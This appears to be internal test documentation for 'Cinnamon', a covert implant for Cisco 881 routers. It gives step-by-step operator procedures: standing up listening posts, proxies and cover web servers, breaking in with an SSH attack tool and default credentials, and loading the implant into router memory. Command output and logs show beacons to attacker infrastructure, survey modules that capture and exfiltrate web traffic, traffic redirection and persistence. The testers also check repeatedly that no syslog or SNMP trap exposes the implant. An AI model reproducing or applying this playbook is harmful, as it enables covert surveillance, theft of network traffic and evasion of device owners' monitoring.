Owner: User #71467

Cinnamon Cisco881 Testing

Cinnamon 881 Testing

The Bakery delivered Cinnamon for the Cisco881 on June 8.  Testing Cinnamon for use on an 881 for JQJSECONDCUT.  Operator has provided Target device configuration as well as some show commands from the Target.  This device is getting DHCPDynamic Host Configuration Protocol from an Internet provider, and is performing NATNetwork Address Translation and DHCPDynamic Host Configuration Protocol server role for inside hosts.  This device is also configured for DMVPN, presumably for VOIPVoice over Internet Protocol (Internet telephony) traffic.  CONOP will be to use at least two flux nodes, one outside the target network, and then exit and attack from a flux node on the inside LAN.

Testing Summary

• Bacon RPM cannot be installed on ICON - Workaround - compiled bacon on the BuildVM and copied the bacon executable and bacon.cfg files to /opt/bacon on ICON.
• IAC 2.4 does not work with DUTDevice Under Test configuration - transport input ssh.  IAC 2.4 requires a telnet connection.  Workaround - use IACInternational Access Code 4.1.
• Spicerack error on CentOS 5.6 Blot LPListening Post VMVirtual Machine - /lib/libcrypto.so.0.9.8: no version information available (required by ./spice_rack)
• Cinnamon implant has swindle.crt file size limitation

Progress/Notes

Cinnamon Setup Steps:

• Build implant on BuildVM
  • Edit /impant/cinnamon.cfg
    • Edit LP_DOMAIN_NAME to match the dns entry for the Blot Proxy server - www.suptest.com in our test case
    • Edit Tool ID that will be used by beastbox/swindle to identify Cinnamon traffic - 0x9219D10C for our test case (this is arbitrary)
    • Edit PROBE_DEST entries so that they all say something that will resolve to web server - www.google.com in our test case
  • Create cmn-880-norb.bin file for No Reboot, non-persisten implant
    • make clean 880-norb - outputs a folder called 880-norb
  • Create modules needed for testing - from /implant/modules directory
    • make clean survey-powerpc
    • make clean redir-powerpc
• Setup Blot 4.3 on CentOS 5.6 VMs
  • Beastbox and Swindle on Blot Proxy
    • Copy Blot 4.3 on to Blot Proxy VM
    • Install Beastbox and Swindle from rpms
    • Edit /etc/blot/beastbox.cfg
      • Edit external-ip to be the IP of the Blot Proxy server - 172.20.13.10 in our test case
      • Edit th name to spicerackH
      • Edit ip to Blot Spicerack server - 172.20.13.11 in our test case
      • Remove other th name entries
      • Edit server name Apache ip to the Cover Web server for 443 - 172.20.13.20 in our test case
      • Edit the server name Apache_2 ip to the Cover Web server for 80 - 172.20.13.20 in our test case 
      • Edit the server name BINDDNSDomain Name System server software ip to our DNSDomain Name System server for the test - X.X.X.X (LVLT-GOGL-8-8-8[US]) in our test case
      • Under itd swindle, edit tid num to Tool ID that has been baked into impant - 0x9219D10C in our test case
      • Under itd swindle, edit th to spicerackH
      • Remove other itd entries
    • Generate a certificate to match the DNSDomain Name System name for Blot Proxy and save to file in /etc/blot/itds/swindle/swindle.crt
      • openssl genrsa -out new_key.pem 1024
      • openssl req -new -key new_key.pem -out new_req.csr
      • openssl x509 -req -days 365 -in new_req.csr -signkey new_key.pem -out new_cert.crt
      • Note that CMNCaiman (Codename)? does not work with a larger key size - modulus 2048 does not work - CMN-1

      • File format for swindle.crt should be the output of 'openssl x509 -in new_cert.crt -noout -text' followed by new_cert.crt:

        Certificate:
        Data:
        Version: 1 (0x0)
        Serial Number:
        d8:2c:bd:b7:7d:47:4f:fc
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, ST=CA, L=Home Town, O=Super T, OU=HR, CN=www.suptest.com/emailAddress=help@suptest.com
        Validity
        Not Before: Jun 16 13:05:52 2015 GMT
        Not After : Jun 15 13:05:52 2016 GMT
        Subject: C=US, ST=CA, L=Home Town, O=Super T, OU=HR, CN=www.suptest.com/emailAddress=help@suptest.co
        m
        Subject Public Key Info:
        Public Key Algorithm: rsaEncryption
        RSAEncryption algorithm Public Key: (1024 bit)
        Modulus (1024 bit):
        00:d8:2f:b2:59:62:b0:ee:a0:81:8e:38:04:6e:74:
        3d:dc:bf:41:99:b5:4c:d4:04:34:1c:83:21:1e:5a:
        23:11:ff:7f:a9:5c:51:92:c7:dc:4f:ba:0b:04:09:
        07:dd:b6:d6:a1:fa:97:01:34:8f:96:5e:cc:95:3c:
        b6:d1:61:8f:8a:a5:5b:ae:c4:05:b5:87:2a:30:4c:
        15:02:bb:95:dc:ba:98:bf:ab:d1:39:a0:d1:da:15:
        7d:95:48:1b:88:51:96:7c:f2:79:ff:a0:5d:d2:d8:
        87:a2:09:47:9c:f0:89:cc:98:57:d9:55:1c:c4:dd:
        80:c9:41:17:37:24:fc:89:7d
        Exponent: 65537 (0x10001)
        Signature Algorithm: sha1WithRSAEncryption
        0f:ed:5e:1a:61:98:f7:3a:8e:de:3d:6b:ee:5e:23:e7:24:30:
        d2:f1:e3:d5:ec:f4:3c:59:67:9c:e1:0a:25:dd:c4:5a:5b:f4:
        82:31:23:9f:ed:d9:fa:59:a2:d5:80:99:a1:1f:bc:19:90:29:
        77:16:29:18:25:38:03:a9:0d:54:dd:05:cb:f2:2a:ce:9a:e3:
        4d:c0:c1:e7:23:5c:c5:97:cf:94:85:a0:8d:1e:9a:f1:7d:6d:
        50:9e:e4:7f:a7:79:3e:8e:c4:a4:c3:51:28:a9:ac:31:dc:e1:
        4e:c1:d9:6f:08:99:96:02:ea:d4:79:f6:1e:de:cd:fa:a4:3d:
        b7:9d
        -----BEGIN CERTIFICATE-----
        MIICiTCCAfICCQDYLL23fUdP/DANBgkqhkiG9w0BAQUFADCBiDELMAkGA1UEBhMC
        VVMxCzAJBgNVBAgTAkNBMRIwEAYDVQQHEwlIb21lIFRvd24xEDAOBgNVBAoTB1N1
        cGVyIFQxCzAJBgNVBAsTAkhSMRgwFgYDVQQDEw93d3cuc3VwdGVzdC5jb20xHzAd
        BgkqhkiG9w0BCQEWEGhlbHBAc3VwdGVzdC5jb20wHhcNMTUwNjE2MTMwNTUyWhcN
        MTYwNjE1MTMwNTUyWjCBiDELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRIwEAYD
        VQQHEwlIb21lIFRvd24xEDAOBgNVBAoTB1N1cGVyIFQxCzAJBgNVBAsTAkhSMRgw
        FgYDVQQDEw93d3cuc3VwdGVzdC5jb20xHzAdBgkqhkiG9w0BCQEWEGhlbHBAc3Vw
        dGVzdC5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANgvsllisO6ggY44
        BG50Pdy/QZm1TNQENByDIR5aIxH/f6lcUZLH3E+6CwQJB9221qH6lwE0j5ZezJU8
        ttFhj4qlW67EBbWHKjBMFQK7ldy6mL+r0Tmg0doVfZVIG4hRlnzyef+gXdLYh6IJ
        R5zwicyYV9lVHMTdgMlBFzck/Il9AgMBAAEwDQYJKoZIhvcNAQEFBQADgYEAD+1e
        GmGY9zqO3j1r7l4j5yQw0vHj1ez0PFlnnOEKJd3EWlv0gjEjn+3Z+lmi1YCZoR+8
        GZApdxYpGCU4A6kNVN0Fy/IqzprjTcDB5yNcxZfPlIWgjR6a8X1tUJ7kf6d5Po7E
        pMNRKKmsMdzhTsHZbwiZlgLq1Hn2Ht7N+qQ9t50=
        -----END CERTIFICATE-----

        
        
        

    • Service beastbox start
    • Verify that Beastbox is working by web browsing to the Proxy IP and you should get forwarded to the Cover Web server for 80 and 443
  • Setup Blot LP
    • Copy spicerack, salt, pepper, and scramble rpms onto Blot LP
    • Install spicerack, salt, pepper and scramble from rpms
    • Run spicerack - /opt/spicerack/spice_rack 2>&1 >/dev/null & - libcrypto.so.0.9.8 error here - CMN-3
    • Disbabled iptables to get connection from impant to work - need to add rule to firewall instead of disabling
  • Copy Cinnamon network and redirect modules from BuildVM to /opt/pepper/cmds directory on LP
    
    • scp implant/modules/powerpc/redir-powerpc.module root@172.20.13.11:/opt/pepper/cmds/.
    • scp implant/modules/powerpc/survey-powerpc.module root@172.20.13.11:/opt/pepper/cmds/.
  • CoverWeb server - standard web server for 80 and 443 should be configured
• Setup ICON VM
  • Copy bacon rpm to ICON VM
  • Install bacon from rpm - error here, had to compile bacon on the Build VMVirtual Machine and copy the executable and .cfg file to ICON /opt/bacon/ CMN-2
  • On Blot LP, use salt to calculate the Node ID
    
    • Copy first 0x80 bytes from Motherboard info in output if IOSApple operating system for small devices command "show diag" on the DUTDevice Under Test into a flie /opt/salt/cookie.txt
    • ./salt cookie.txt
  • Make a copy of /opt/bacon/bacon.cfg called 881-cfg
  • Edit the 881-cfg file
    • Change Node ID (called UNIQUE_ID in this file) calculated by salt - 0xfb583dbf for 881-Top
    • Change Toold ID - enter Tool ID that was used with beastbox/swindle - 0x9219D10C in our test case
  • Copy the 880-norb folder from BuildVM to ICON using windows share
    
  • Copy the 880-norb folder from BuildVM to ICON using scp to avoid the above error
    
    • Must initiate SCP from ICON due to iptables - scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0.0/implant/880-norb .
      
  • Copy IACInternational Access Code 4.1 to ICON - it includes remote
    
  • Setup remote
    • su - root
    • chmod -R +x data/config/npc3/profile
    • Edit data/config/npc3/target.py
      • interpacket time = 0.1
      • arch = 'ppc'
      • machine = '880'
    • Edit target-aliases with IP of target - XXX.XX.XXX.XXX (CABLEVISION[US]) in our test case
    • Copy ramUploadAndExecuteCmn800.py from utilities on BuildVM to ICON's NPC3CP-5.2/bin/remote/bin directory
• Generate Seed traffic on the test network - watch -n2 wget -nv -T 1 -O /dev/null http://alias.google.com

1. Smoke Test - Install CMN
   • Reload 881 router to start with clean setup
     • Sh proc cpu hist = 2% CPU without traffic load
     • Sh mem = Total-26214400 :: Used-9686440 :: Free-16527960
   • From Cinnabuild-5.0.0 VM:
     • /home/cmn-build/cmn-5.0/implant# make clean 880-norb   (script completes and creates 880-norb directory)
   • From Cinnamon-ICON:
     • /home/user1# scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0/implant/880-norb/ .
       • Enter password and directory copies over

     • /home/user1/IAC 4.1.0/delivery/IAC-4.1.0/bin# ./sshiac-ppc -i XXX.XX.XXX.XXX (CABLEVISION[US]) -l cisco:cisco

       • 881 cpu spikes to 99% two different times for about 20 seconds each
       • LGDHM codes given and ssh-iac is complete
     • /home/user1/IAC 4.1.0/delivery/NPC3CP-5.2/bin/remote# vim target-aliases
       
       • Configure target IP and procid
       • #source aliases = remote>
       • #broad
       • #./seq set 1
       • #broad = status OK

       • [target:XXX.XX.XXX.XXX (CABLEVISION[US])] remote> ./bin/ramUploadAndExecuteCmn800.py /home/user1/880-norb/cmn-880-norb.bin

       • "yes"
       • file chunks uploaded and reach 100%
       • Wait 3 minutes minimum
         • sh proc cpu hist: spikes to 11-12% for five seconds about once a minute and then settles in to 4-6% repeatidly
         • sh mem = Total-26214400 :: Used-9686440 :: Free-16527960
2. Smoke Test - Establish Comms

   • [root@blot-spicerack log]# tail -f spicerack.log

   • user1@Cinnamon-ICON:/opt/bacon$ sudo ./bacon XXX.XX.XXX.XXX (CABLEVISION[US]) 881.cfg www.suptest.com 443

     • Spicerack log shows callback from implant

       • 06/16/2015 13:10:19.065 - Mission2:0:Debug: Socket accept info: client address = 172.20.13.10, port = 32991
         06/16/2015 13:10:19.071 - Mission2:11:Info : SESSION STARTED
         06/16/2015 13:10:19.071 - Mission2:11:Debug: Connected To: IP address = 172.20.13.10, port = 32991.
         06/16/2015 13:10:19.916 - Mission2:11:Debug: +++Packet received (12 bytes).+++
         06/16/2015 13:10:19.916 - Mission2:11:Debug: +++Packet received (780 bytes).+++
         06/16/2015 13:10:19.916 - Mission2:11:Info : +++Message received (792 bytes).+++
         06/16/2015 13:10:19.916 - Mission2:11:Debug: Time packet received = 06/16/2015 13:10:19.916.
         06/16/2015 13:10:19.916 - Mission2:11:Debug: Data Length = 708
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Tool ID Xor = 3
         06/16/2015 13:10:19.917 - Mission2:11:Info : Tool ID = 0x9219d10c
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Seed = 0x33fb3f95
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Hash = 0x3536
         06/16/2015 13:10:19.917 - Mission2:11:Info : Node ID = 0xfb583dbf
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Timestamp = 0x000014a4
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Module ID = 1
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Last Packet Indicator = 1
         06/16/2015 13:10:19.932 - Mission2:11:Debug: Payload data length from encrypted header = 692.
         06/16/2015 13:10:19.932 - Mission2:11:Debug: Payload data type = 0, data length = 686, data end = 1.
         06/16/2015 13:10:19.932 - Mission2:11:Debug: COMMS-H request mission module name = Beacon, ID = 1.
         06/16/2015 13:10:19.932 - Mission2:11:Info : +++BTHP REQUEST PACKET 1 RECEIVED - Beacon+++
         06/16/2015 13:10:19.932 - Mission2:0:Info : dumpRawPacket: For RCVD_RAW_FILE
         06/16/2015 13:10:19.935 - Mission2:11:Info : Dumped raw packet received to file: /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.raw.
         06/16/2015 13:10:19.935 - Mission2:11:Debug: Payload data type = 0, data length = 686, data end = 1.
         06/16/2015 13:10:19.938 - Mission2:11:Debug: Writing to receive file /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.rcvd.
         06/16/2015 13:10:19.938 - Mission2:11:Info : Dumped BTHP request string received to file: /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.rcvd.
         06/16/2015 13:10:19.938 - Mission2:11:Info : ---Building COMMS-H signal response(s)---
         06/16/2015 13:10:19.938 - Mission2:11:Debug: Parsing .send file for commands.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: No commands present. Sending No Op
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Total COMMS-H payload length of command(s) reply data = 15
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Single packet response, payloadLength = 77, payloadDataLength = 15, lastPacketIndicator = 1
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Inserting Tool ID = 0x9219d10c, Tool ID Xor Key Index = 3
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Seed = 0x91a54cfe
         06/16/2015 13:10:19.939 - Mission2:11:Debug: COMMS-H response auth hash = 0xac54.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Returning built 1 COMMS-H reply packet(s).
         06/16/2015 13:10:19.939 - Mission2:11:Debug: BTHP reply payload data length = 77.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: hdr_len = 24, data_len = 77.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Before response write, replySize = 101.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: ---Packet sent (101/101 bytes).---
         06/16/2015 13:10:19.939 - Mission2:11:Info : ---Message sent (101 bytes).---
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Time response sent = 06/16/2015 13:10:19.939.
         06/16/2015 13:10:19.939 - Mission2:11:Info : ---COMMS-H REPLY SENT (1/1) - ---
         06/16/2015 13:10:19.942 - Mission2:11:Info : Dumped raw packet sent to file: /opt/spicerack/data/fb583dbf/Beacon/sent/20150616131019_0000000011.raw.
         06/16/2015 13:10:19.945 - Mission2:11:Debug: Writing to sent file /opt/spicerack/data/fb583dbf/Beacon/sent/20150616131019_0000000011.sent.
         06/16/2015 13:10:20.916 - Mission2:11:Debug: CLOSING SOCKET 5
         06/16/201 5 13:10:20.916 - Mission2:11:Debug: Shutdown connection: IP address = 172.20.13.10, port = 32991.
         06/16/2015 13:10:20.917 - Mission2:11:Info : SESSION ENDED

       • Log file is appended on Blot-Proxy-CentOS 5.6

         • [root@blot blot]# pwd
           /var/log/blot
           [root@blot blot]# ls -User #?
           total 148K
           drwxr-xr-x 2 beastbox blot 4.0K Mar 2 06:10 ./
           drwxr-xr-x 17 root root 4.0K Jun 16 04:02 ../
           -rw-r--r-- 1 beastbox blot 131K Jun 16 09:14 beastbox.log.enc

3. Smoke Test - Install/Uninstall Modules
   • Create module and copy to Spicerack VM

     • root@cinnabuild-5:/home/cmn-build/cmn-5.0/implant/modules# make clean redir-powerpc

     • [root@blot-spicerack cmds]# scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0/implant/modules/redir/powerpc/redir-powerpc.module .

   • Create upload cmd file
     • /opt/pepper/cmds

     • [root@blot-spicerack cmds]# vi redir-powerpc.cmd
       module_upload|redir-powerpc.module

     • [root@blot-spicerack cmds]# .././pepper redir-powerpc.cmd

     • [root@blot-spicerack cmds]# cp redir-powerpc.send /opt/spicerack/data/fb583dbf/Beacon/send/.

     • user1@Cinnamon-ICON:/opt/bacon$ sudo ./bacon XXX.XX.XXX.XXX (CABLEVISION[US]) 881.cfg www.suptest.com 443
       Sent packet to XXX.XX.XXX.XXX (CABLEVISION[US]):44719

       • [root@blot-spicerack receive]# more 20150616170301_0000000013.status

         [Command Results]
         Total commands reporting status: 1

         Command: 1
         Module: 4
         Command: 0
         Status: SUCCESS

         [root@blot-spicerack receive]# more 20150616171309_0000000001.rcvd

         [Session Info]
         Rcvd Start Time = 06/16/2015 17:13:09.854
         Session = 1
         Request Type = HTTPS
         Module = Beacon

         [Connection Info]
         Proxy IP = 172.20.13.10:443
         Source IP = XXX.XX.XXX.XXX (CABLEVISION[US]):27816
         Destination IP = 172.20.13.11:4097

         [Implant Info]
         Unique Implant ID = 0xfb583dbf
         Tool ID = 0x9219d10c
         Up Time = 19854
         Impersonated IP = XXX.XXX.XXX.XX (CORE2[US])

         [Versioning]
         Cinnamon Version = 5.0.0 Jun 16 2015 - 07:17:00
         IOS Version = C880 Software (C880DATA-UNIVERSALK9-M), Version 15.1(2)T4, RELEASE SOFTWARE (fc1)
         Build ID = 1856:7b366e5a9b31

         [Beacon Health]
         Max Consecutive Timed Beacon Failures = 10
         Failed Beacon Counter = 6
         Beacon Failsafe Status = Not Tripped

         [Memory Health]
         IOMEM Free Size = 0x00fbac58 Bytes

         [BreakPoints]
         Total Breakpoints = 6
         Address Label
         ---------- -----
         0x80495534 0x4
         0x80cced88 0x4
         0x80258478 0x4
         0x8111eca0 0x4
         0x802376dc 0x4
         0x8210cfbc 0x1

         [Modules]
         Active Modules: 5
         Module Version
         0 5.0.0
         1 5.0.0
         2 5.0.0
         3 5.0.0
         4 5.0.0

     • Upload Survey Module
       • Before survey module upload:
         

         881-Top#show mem
         Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
         Processor 84A91420 164031456 42485408 121546048 114024412 109062604
         I/O E700000 26214400 9549340 16665060 16487744 16493660

       • Created survey module on BuildVM - make clean survey-powerpc

       • Copied survey module to Blot Spicerack - scp survey-powerpc root@172.20.13.11:/opt/pepper/cmds/.
       • Created survey_upload.cmd - module_upload|survey-powerpc.module
       • Peppered survey_upload.cmd - .././pepper survey_upload.cmd
       • Copied .send file to send directory and triggered implant
       • Module uploaded successfully:
         

         [root@blot-spicerack receive]# more 20150616182438_0000000002.status

         [Command Results]
         Total commands reporting status: 1

         Command: 1
         Module: 4
         Command: 0
         Status: SUCCESS

       • Memory after module upload:

         881-Top#show mem
         Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
         Processor 84A91420 164031456 42485460 121545996 114024412 109062604
         I/O E700000 26214400 9549340 16665060 16487744 16493660

       • Did not observe any log messages
4. Smoke Test - Uninstall CMN
   1. Created command file to uninstall - 

      device_uninstall|0

   2. Peppered command and copied to send directory, triggered CMN
   3. Impant picked up file - saw no spike in CPU, but instead a drop from about 11% five second value to 5%.
   4. memory after uninstall
      

      881-Top#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 84A91420 164031456 42497720 121533736 114024412 109062604
      I/O E700000 26214400 9549340 16665060 16487744 16493660

   5. Uninstall leaves behind IAC 
5. Ad hoc Test - Reinstall after install/uninstall
   1. After test 4, attempted to install base CMNCaiman (Codename)? again via remote - upload successful
   2. Memory after uninstall
      

      881-Top#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 84A91420 164031456 42497720 121533736 114024412 109062604
      I/O E700000 26214400 9549340 16665060 16487744 16493660

   3. Performed 3 base install/uninstalls with device_uninstall|0 command and 3 more base uninstalls with device_uninstall|1

   4. No crash, no cpu spikes, no syslog messages to buffer or console.
   5. Collected a show tech after uninstall
   6. Memory after install/uninstalls - Used memory about 12kb lower and no change to largest free block :
      

      881-Top#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 84A91420 164031456 42485788 121545668 114024412 109062604
      I/O E700000 26214400 9549340 16665060 16487744 16493660

6. Ad hoc Test - Install CMNCaiman (Codename)? base and then both modules with one command file
   1. Reloaded device to start with clean DUT
   2. Attacked with SSHIAC and uploaded CMNCaiman (Codename)? base
   3. created a command file with both redir and survey module upload commands
      module_upload|survey-powerpc.module
      module_upload|redir-powerpc.module
   4. When pepper was run on this file, command file validation failed error - expecting 1 line
   5. When I tried to put both files on 1 line, got a command file validation error - expecting 1 argument
   6. Created two separate .send files to upload the modules and copied both into send directory, triggered implant
7. Ad hoc Test - Attempt to install modules when they are already installed
   1. Got the following status file
      

      [root@blot-spicerack receive]# more 20150616210905_0000000019.status

      [Command Results]
      Total commands reporting status: 4

      Command: 1
      Module: 4
      Command: 0
      Status: FAILURE - 0x00000004

      Command: 2
      Module: 4
      Command: 0
      Status: SUCCESS

      Command: 3
      Module: 4
      Command: 0
      Status: FAILURE - 0x00000004

      Command: 4
      Module: 4
      Command: 0
      Status: SUCCESS

      [root@blot-spicerack receive]#

   2. No logs reported on console or syslog

8. Ad hoc Test - Simulate power failure, subsequent beacon attempt, and re-attack
   • Memory prior to start of test:

     • Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
       Processor 84A91420 164031456 42310372 121721084 116302072 111284268
       I/O E700000 26214400 9549340 16665060 16525184 16531100

   • Pull power from 881 while running with CMNCaiman (Codename)? and modules previously installed and running successfully
     • No suspicious console/buffer logs on reboot other than what would show up after a reboot after power failure
     • Memory post boot-up:

       • Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
         Processor 84A91420 164031456 41706948 122324508 116079892 111069152
         I/O E700000 26214400 9683944 16530456 16527360 16527324

   • Attempt to send bacon simulating operator that is not aware that the target device had lost power
     • Sent multiple ./bacon beacon requests without response on Spicerack LP.
     • No addtional console/buffer logs or snmp traps show from target device
   • Re-attack with ssh-iac and re-implant 881 target device:

     • root@Cinnamon-ICON:/home/user1/IAC 4.1.0/delivery/IAC-4.1.0/bin# ./sshiac-ppc -i XXX.XX.XXX.XXX (CABLEVISION[US]) -l cisco:cisco

       • Received: LGDHM
       • #source aliases = remote>
       • #broad
       • #./seq set 1
       • #broad = status OK

       • [target:XXX.XX.XXX.XXX (CABLEVISION[US])] remote> ./bin/ramUploadAndExecuteCmn800.py /home/user1/880-norb/cmn-880-norb.bin

       • "yes"
       • file chunks uploaded and reach 100%
       • Wait 3 minutes minimum
       • Sent beacon from ICON to DUTDevice Under Test -> successfully received reply on Spicerack LP
         • No console/bugger logs or snmp traps received
9. Long Term Monitoring - Test for memory leaks
   1. Configured 881-Bottom to send SNMPSimple Network Management Protocol traps, syslogs and SNMPSimple Network Management Protocol monitoring to solarwinds server
   2. Configured with Seeds traffic from a single host connected behind 881
   3. Implanted with Cinnamon and redir and survey modules
   4. Connected IXIA to 881 and 3845 to run traffic - have not started traffic yet
   5. Established a survey rule for all 80 and 443 traffic and with a duration of 12 hours - will let it run over night and check solarwinds in the morning.  Currently only seeds traffic running wget every 2 seconds. The following morning I was able to exfil all the data from the device - saw the 80 and 443 traffic after unscrambling the file.  
   6. Enabled two redirect rules to run overnight - traffic not currently matching but rules are active.
   7. Tried enabling IXIA and was attempting different network neighborhood settings - none were resulting in successful tcp sessions. Logged on Seeds host and attempted to ping 10.100.100.1 - could not.  Logged onto 3845 and noticed the eigrp session for 881_bottom was not active and tunnel was down.  Checked 881 and the console window had closed out.  Re-established console session and uptime was 1 minute, crashinfo in flash.
      From SNMPSimple Network Management Protocol Trap:
      whyReload = error - an Illegal Opcode exception, PCPersonal Computer 0x804D1778 
      sysUpTime = 42.31 seconds 
      snmpTrapOID = SNMPv2-MIB:coldStart 
      sysUpTime = 1 minute 12.37 seconds 
   8. Attempted to reproduce now that CMNCaiman (Codename)? is not on device after reload, but it is not crashing at this time.  Need to put CMNCaiman (Codename)? back on and attempt to reproduce crash. - CMN-4
   9. Re-installed CMNCaiman (Codename)? and both modules and ran the same IXIA traffic test three more times, and was not able to reproduce the crash.
10. Test restarting modules/loading/unloading without reboot
    1. 881-Top with CMNCaiman (Codename)? installed non-persistently
    2. Load both redir and tunnel modules with 1 command
        

       [root@blot-spicerack receive]# more 20150622192913_0000000070.status

        

       [Command Results]
       Total commands reporting status: 2

        

       Command: 1
       Module: 4
       Command: 0
       Status: SUCCESS

        

       Command: 2
       Module: 4
       Command: 0
       Status: SUCCESS

    3. Remove both redir and tunnel modules - module 4 fails - cannot delete redir module:
       

       [root@blot-spicerack receive]# more 20150622194021_0000000075.status

       [Command Results]
       Total commands reporting status: 2

       Command: 1
       Module: 4
       Command: 1
       Status: SUCCESS

       Command: 2
       Module: 4
       Command: 1
       Status: FAILURE - 0x00000008

    4. Attempted to remove module 4 individually, but I keep getting the same error code.
    5. Beginning again with clean DUT
    6. Loaded cmn-880-norb - installed with modules 0,1,2,4
    7. First load redir module - installed as module 3
    8. Second load survey module - installed as module 5
    9. Deleted module 3 and module 5 in one command - success
    10. Repeating steps g-i 4 times. No errors
        1. Attemped to delete modules that weren't present, failed gracefully with error code 8
11. SNMP Trap Test 
    1. Tested upload of CMNCaiman (Codename)? as well as upload of modules and CMNCaiman (Codename)? uninstall - no SNMPSimple Network Management Protocol Trap recorded
    2. Tested beacons, no SNMPSimple Network Management Protocol Trap
    3. Uploaded redir module and then uploaded survey modules. No trap.
    4. Uploaded redir rules as well as survey for 80 and 53 rules.
    5. removed survey scenario
    6. Performed show survey - no scenarios uploaded
    7. Attemped to upload a cmd file from send directory - just received regular beacon and the cmd file was not picked up
    8. Performed a redir show and saw no rules present - expected rules to be present since I had uploaded them - rules had a timer to expire
    9. Re-uploaded rules with a longer timer
    10. Disabled one rule, then deleted both rules - no traps throughout this test.
    11. Deleted both modules
    12. Uploaded both modules and configured an interface redirection rule, and a reverse to match, to redirect the seeds host from X.X.X.XX (LVLT-GOGL-8-8-8[US]) to 172.20.13.10
    13. Tested the rule by web browsing from Seeds host and rule works as expected
    14. Setup the survey rule again - this time i let it run for 10 minutes and then exfilled the data successfully.
    15. Performed a device show config
    16. Changed beacon interval to 20s - beacons arriving every 20s
    17. Performed a device stick:
        

        881-Top#show rom
        ReadOnly ROMMONRead-Only Memory Monitor Cisco bootstrap program version:

        System Bootstrap, Version 12.4(22r)YB5, RELEASE SOFTWARE (fc1)
        Technical Support: http://www.cisco.com/techsupport
        Copyright (c) 2009 by cisco Systems, Inc.

        No upgrade ROMMONRead-Only Memory Monitor Cisco bootstrap program programmed or not yet run
        Currently running ROMMONRead-Only Memory Monitor Cisco bootstrap program from ReadOnly region
        ROMMON from Upgrade region is selected for next boot

        881-Top#

    18. No syslogs or SNMPSimple Network Management Protocol traps observed during all tests so far

    19. Performed a device level 1 uninstall - no syslogs, console logs or SNMPSimple Network Management Protocol traps observed during any of the above testing.
    20. Reinstalled CMNCaiman (Codename)? and both modules, changed beacon interval to 20s, then stuck it
    21. Rebooted and it came back and began beaconing every 20s as expected after a few minutes
    22. It returned with only the base CMN, no modules, as expected.
    23. next test might be uninstall with level 0 instead of 1
    24. Uninstalled with level 0, beacons stopped coming in every 20s.  Rebooted and beacons started back, CMNCaiman (Codename)? was present with no modules.
    25. Sent uninstall with level 0 again, repeated step x - same result
    26. Uninstall with level 1 - CMNCaiman (Codename)? stopped beaconing and now show rom says it will boot from read-only on next boot
    27. Rebooted device to clear CMNCaiman (Codename)? - no traps, console logs or syslogs observed
12. Boot times
    1. Establish baseline with no CMN, no traffic, time from when pings stop to pings beginning again - 3 reboots - 1m50s, 1m45s, 1m49s
    2. Install CMNCaiman (Codename)? sticky-norb, uploaded module, changed beacon time to 10s.
    3. Rebooted, waited for beaconing every 10s to resume between each reboot - 2m31s, 2m29s, 2m29s
13. Test Upgrade/Downgrade IOSApple operating system for small devices while CMNCaiman (Codename)? present
    1. DUT implanted with CMNCaiman (Codename)? persistently, beaconing every 10s
    2. Reload in order to perform Upgrade IOSApple operating system for small devices from 15.1(2)T4 to 15.2(4)M3
    3. DUT did not complete boot process after reload, got an error message "no sreloc section", then IOSApple operating system for small devices loaded and it looked like config from NVRAMNon-volatile Random Access Memory was loaded, 881 gave an error message about configuring a config-key, and then was hung.  Could not get a response on console or over telnet.  Sent break and then it finally finished the boot, seems like the tripwire worked.  CMN not sending beacons, but 881 did finish booting and is back up.
    4. Downgraded code back to 15.1(2)T4 - DUTDevice Under Test booted without a problem
    5. Attempted to reproduce step b - reproduced issue.  
    6. Next step - confirm that this does not happen without CMNCaiman (Codename)? loaded.
    7. Recovered by sending break, downgrading IOSApple operating system for small devices and then I got beacons again.. Uninstalled CMNCaiman (Codename)? with level 1
    8. Was able to perform IOSApple operating system for small devices upgrade without CMNCaiman (Codename)? installed.  Created JIRAUser Managment Software (Atlassian) issue for 15.2(4)M3 CMN5.
14. Test Tool Upgrade command
    1. Start with clean DUT, no CMNCaiman (Codename)? installed
    2. Establish FLXFluxwire connection
    3. Upload CMNCaiman (Codename)? sticky norb with beacon interval set to every 7 days
    4. Rx'd beacon on Spicerack - uploaded both modules
    5. Created another CMNCaiman (Codename)? 880-norb-sticky build with a built-in 1min beacon interval and copied 880 directory containing .upgrade file over to Spicerack /opt/pepper/cmds/
    6. Found that the example command is not correct in pepper:
        

       [root@blot-spicerack cmds]# more device_upgrade.cmd
       # Command Name: UPGRADE IMPLANT
       # parameter1: the path to the cmn-upgrade-<platform>.elf file that will be sent
       # to the implant.
       #
       device_upgrade|cinnamon_upgrade.elf
       [root@blot-spicerack cmds]# 
       It should reference .upgrade file - CMN-6

